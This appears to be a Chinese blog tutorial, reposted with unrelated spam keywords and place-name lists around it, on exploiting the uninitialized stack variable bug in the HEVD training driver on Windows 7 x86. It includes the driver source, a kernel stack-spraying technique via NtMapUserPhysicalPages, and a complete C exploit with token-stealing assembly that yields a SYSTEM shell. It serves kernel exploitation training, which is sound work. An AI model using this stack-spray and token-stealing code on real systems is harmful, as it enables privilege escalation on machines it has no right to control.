最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊

漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]

2022-07-21 12:28 作者:rkvir逆向工程學(xué)院  | 我要投稿

作者selph

前言

窺探Ring0漏洞世界:未初始化棧變量漏洞

上一篇探討了空指針解引用漏洞的利用,這里來探討另一種漏洞,未初始化棧變量漏洞,未初始化變量本身是沒啥事的,但如果這個(gè)變量結(jié)構(gòu)里存儲(chǔ)了會(huì)拿出來執(zhí)行的東西(回調(diào)函數(shù)啥的),那就是另一回事了

實(shí)驗(yàn)環(huán)境:

?虛擬機(jī):Windows 7 x86


?物理機(jī):Windows 10 x64


?軟件:IDA,Windbg,VS2022

漏洞分析

老樣子,先IDA找到該漏洞的觸發(fā)函數(shù)TriggerUninitializedMemoryStack,分析函數(shù)是如何存在漏洞的

首先是取出了用戶提供的指針里的值,保存到ebx:

然后緊接著判斷該值是否為魔數(shù)0BAD0B0B0h,是的話,就將該值和一個(gè)函數(shù)地址保存到了棧中一個(gè)結(jié)構(gòu)體里,如果不是的話,則不進(jìn)行操作,然后進(jìn)行判斷,判斷棧中的這個(gè)變量是否有值,如果有值,且為固定這個(gè)函數(shù)的地址的話,就執(zhí)行這個(gè)函數(shù)

如果該位置有值,且不是固定函數(shù)地址的話,就去把這個(gè)值當(dāng)函數(shù)去調(diào)用:


驅(qū)動(dòng)源碼:

///


/// Trigger the uninitialized memory in Stack Vulnerability
///



///The pointer to user mode buffer
///?NTSTATUS
NTSTATUS
TriggerUninitializedMemoryStack(
_In_ PVOID UserBuffer
)
{
??? ULONG UserValue = 0;
??? ULONG MagicValue = 0xBAD0B0B0;
???NTSTATUS Status = STATUS_SUCCESS;

#ifdef SECURE
??? //
??? // Secure Note: This is secure because the developer is properly initializing
??? // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
??? // the callback
??? //

???UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
??? //
??? // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
??? // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
??? // before calling the callback when 'MagicValue' does not match 'UserValue'
??? //

???UNINITIALIZED_MEMORY_STACK UninitializedMemory;
#endif

???PAGED_CODE();

??? __try
??? {
???????//
???????// Verify if the buffer resides in user mode
???????//

???????ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));

???????//
???????// Get the value from user mode
???????//

???????UserValue = *(PULONG)UserBuffer;

???????DbgPrint("[+] UserValue: 0x%p\n", UserValue);
??????? DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);

???????//
???????// Validate the magic value
???????//

???????if (UserValue == MagicValue) {
???????????UninitializedMemory.Value = UserValue;
???????????UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;
??????? }

???????DbgPrint("[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);
???????DbgPrint("[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback);

#ifndef SECURE
???????DbgPrint("[+] Triggering Uninitialized Memory in Stack\n");
#endif

???????//
???????// Call the callback function
???????//

???????if (UninitializedMemory.Callback)
??????? {
???????????UninitializedMemory.Callback();
??????? }
??? }
???__except (EXCEPTION_EXECUTE_HANDLER)
??? {
???????Status = GetExceptionCode();
???????DbgPrint("[-] Exception Code: 0x%X\n", Status);
??? }

???return Status;
}

可見,這里的安全版本和不安全版本的區(qū)別僅在是否初始化了局部變量,其實(shí)不初始化似乎也沒啥問題,這里出問題的關(guān)鍵在于該變量中保存了回調(diào)函數(shù),然后還被調(diào)用了,從而導(dǎo)致了漏洞

如果輸入的是錯(cuò)誤的值(非魔數(shù)),且能控制回調(diào)地址,就能執(zhí)行shellcode。

漏洞利用

那么問題來了,要如何去控制回調(diào)地址呢?未初始化的局部變量會(huì)保存在棧中,且值是不可預(yù)測的,棧中存的是什么值那變量就是什么值

參考[1],控制棧中的值,需要做這些準(zhǔn)備:

1.找到內(nèi)核棧初始化地址

2.找到回調(diào)地址所在內(nèi)核棧初始化地址的偏移量

3.通過在用戶模式下用戶可控輸入噴射內(nèi)核棧(參考資料[2])

內(nèi)核棧噴射

根據(jù)參考資料[2],有一個(gè)未文檔化的函數(shù)NtMapUserPhysicalPages可以噴射一大塊數(shù)據(jù)到內(nèi)核棧里:

NTSTATUS
NtMapUserPhysicalPages (
?? __in PVOID VirtualAddress,
?? __in ULONG_PTR NumberOfPages,
??__in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
?)
(...)
?ULONG_PTR StackArray[COPY_STACK_SIZE]; // COPY_STACK_SIZE = 1024

這里頭有一片??臻g的緩沖區(qū)數(shù)組,大小是1024*sizeof(ULONG_PTR)

該函數(shù)最后,如果NumberOfPages變量不大于1024的話,會(huì)使用該棧緩沖區(qū)地址去調(diào)用:MiCaptureUlongPtrArray函數(shù)

PoolArea = (PVOID)&StackArray[0];

(...)
?
? if (NumberOfPages > COPY_STACK_SIZE) {
???PoolArea = ExAllocatePoolWithTag (NonPagedPool,
?????????????????????????????????????NumberOfBytes,
????????????????????????????????????? 'wRmM');
?
??? if (PoolArea == NULL) {
?????return STATUS_INSUFFICIENT_RESOURCES;
??? }
? }
?
(...)
?
? Status = MiCaptureUlongPtrArray (PoolArea,
??????????????????????????????????UserPfnArray,
??????????????????????????????????NumberOfPages);

使用IDA打開Windows7 x86內(nèi)核文件ntkrnlpa查找該調(diào)用:

因?yàn)樵摵瘮?shù)是fastcall調(diào)用,在x86下fastcall調(diào)用會(huì)優(yōu)先使用ecx和edx傳參,多余的參數(shù)才使用棧,也就是說傳遞的參數(shù)依次是:NumberOfPages,UserPfnArray,棧緩沖區(qū)的地址

然后MiCaptureUlongPtrArray的實(shí)現(xiàn)如下:

int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3)
{
size_t v3; // ecx

? v3 = 4 * a1;
? if ( v3 )
? {
??? if ( (a2 & 3) != 0 )
?????ExRaiseDatatypeMisalignment();
??? if ( v3 + a2 > MmUserProbeAddress || v3 + a2 < a2 )
?????*(_BYTE *)MmUserProbeAddress = 0;
? }
?memcpy(a3, (const void *)a2, v3);
? return 0;
}

NtMapUserPhysicalPages函數(shù)里將往棧緩沖區(qū)里填充用戶傳來的數(shù)據(jù)

到此,可以知道,只需要向調(diào)用NtMapUserPhysicalPages函數(shù),提供第二個(gè)參數(shù)是大小,第三個(gè)參數(shù)是用戶緩沖區(qū),即可實(shí)現(xiàn)在棧中進(jìn)行噴射,接下來進(jìn)行編寫exp實(shí)現(xiàn)利用

編寫exp

還是用之前的模板改一改,通過函數(shù)可以實(shí)現(xiàn)對內(nèi)核棧的提前布置,然后再用非魔數(shù)的輸入去調(diào)用漏洞函數(shù),使得未初始化的變量里填充的是我們布置的值,從而完成利用:

#include
#include

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET0x124?// nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET??? 0x050?// nt!_KTHREAD.ApcState.Process
#define PID_OFFSET???????? 0x0B4?// nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET?????? 0x0B8?// nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET?????? 0x0F8?// nt!_EPROCESS.Token
#define SYSTEM_PID???????? 0x004?// SYSTEM Process PID

typedef NTSTATUS(WINAPI* NtMapUserPhysicalPages_t)(IN PVOID?????????VirtualAddress,
??? IN ULONG_PTR????? NumberOfPages,
??? IN OUT PULONG_PTR UserPfnArray);

VOID TokenStealingPayloadWin7() {
??? // Importance of Kernel Recovery
??? __asm {
???????pushad

??????? ;獲取當(dāng)前進(jìn)程EPROCESS
???????xor eax, eax
???????mov eax, fs: [eax + KTHREAD_OFFSET]
???????mov eax, [eax + EPROCESS_OFFSET]
???????mov ecx, eax

??????? ;搜索system進(jìn)程EPROCESS
???????mov edx, SYSTEM_PID
???????SearchSystemPID :
???????mov eax, [eax + FLINK_OFFSET]
???????????sub eax, FLINK_OFFSET
???????????cmp[eax + PID_OFFSET], edx
???????????jne SearchSystemPID

???????????; token竊取
???????????mov edx, [eax + TOKEN_OFFSET]
???????? ???mov[ecx + TOKEN_OFFSET], edx

???????????;?環(huán)境還原?+?返回
???????????popad
??? }
}

int main()
{

??? ULONG UserBufferSize = 1024*sizeof(ULONG_PTR);
??? PVOID EopPayload = &TokenStealingPayloadWin7;

???HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);

???PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

???//RtlFillMemory(UserBuffer, UserBufferSize, 'A');
??? for (int i = 0; i < UserBufferSize / sizeof(ULONG_PTR); i++){
???????UserBuffer[i] = (ULONG)EopPayload;
??? }

??? //?布置內(nèi)核棧
???NtMapUserPhysicalPages_t?????NtMapUserPhysicalPages;
???NtMapUserPhysicalPages = (NtMapUserPhysicalPages_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtMapUserPhysicalPages");
???NtMapUserPhysicalPages(NULL, 1024, UserBuffer);


??? ULONG WriteRet = 0;
???DeviceIoControl(hDevice, 0x22202f, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

???HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
???UserBuffer = NULL;

???system("pause");
???system("cmd.exe");

???return 0;
}

截圖演示

參考資料

?[1] Windows Kernel Exploitation Tutorial Part 6: Uninitialized Stack Variable - rootkit (rootkits.xyz) https://rootkits.xyz/blog/2018/01/kernel-uninitialized-stack-variable/

?[2] nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques | j00ru//vx tech blog (vexillium.org) https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/

?[3] CVE-2016-0040 - DreamoneOnly -?博客園?(cnblogs.com) https://www.cnblogs.com/DreamoneOnly/p/13163036.html

?[4] HEVD Kernel Exploitation -- Uninitialized Stack & Heap (seebug.org) https://paper.seebug.org/200/

?[5]?ヾ(???3)ノ嘻嘻![05] HEVD?內(nèi)核漏洞之未初始化棧變量?| Saturn35 https://saturn35.com/2019/07/26/20190726-2/

?[6] C library function - memcpy() (tutorialspoint.com) https://www.tutorialspoint.com/c_standard_library/c_function_memcpy.htm

?[7] __fastcall | Microsoft Docs https://docs.microsoft.com/zh-cn/cpp/cpp/fastcall?view=msvc-170

漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]的評(píng)論 (共 條)

分享到微博請遵守國家法律
黄骅市| 镇沅| 邹平县| 武功县| 宜阳县| 夏津县| 丰镇市| 黑山县| 鹿泉市| 江津市| 广州市| 无为县| 乐平市| 唐河县| 玉环县| 襄樊市| 兰西县| 新余市| 鹤山市| 化州市| 瑞昌市| 淳安县| 固始县| 碌曲县| 加查县| 乐平市| 徐闻县| 山阳县| 蕲春县| 大埔区| 酒泉市| 墨竹工卡县| 信宜市| 通江县| 垣曲县| 衡山县| 青铜峡市| 大关县| 改则县| 苏尼特右旗| 肥城市|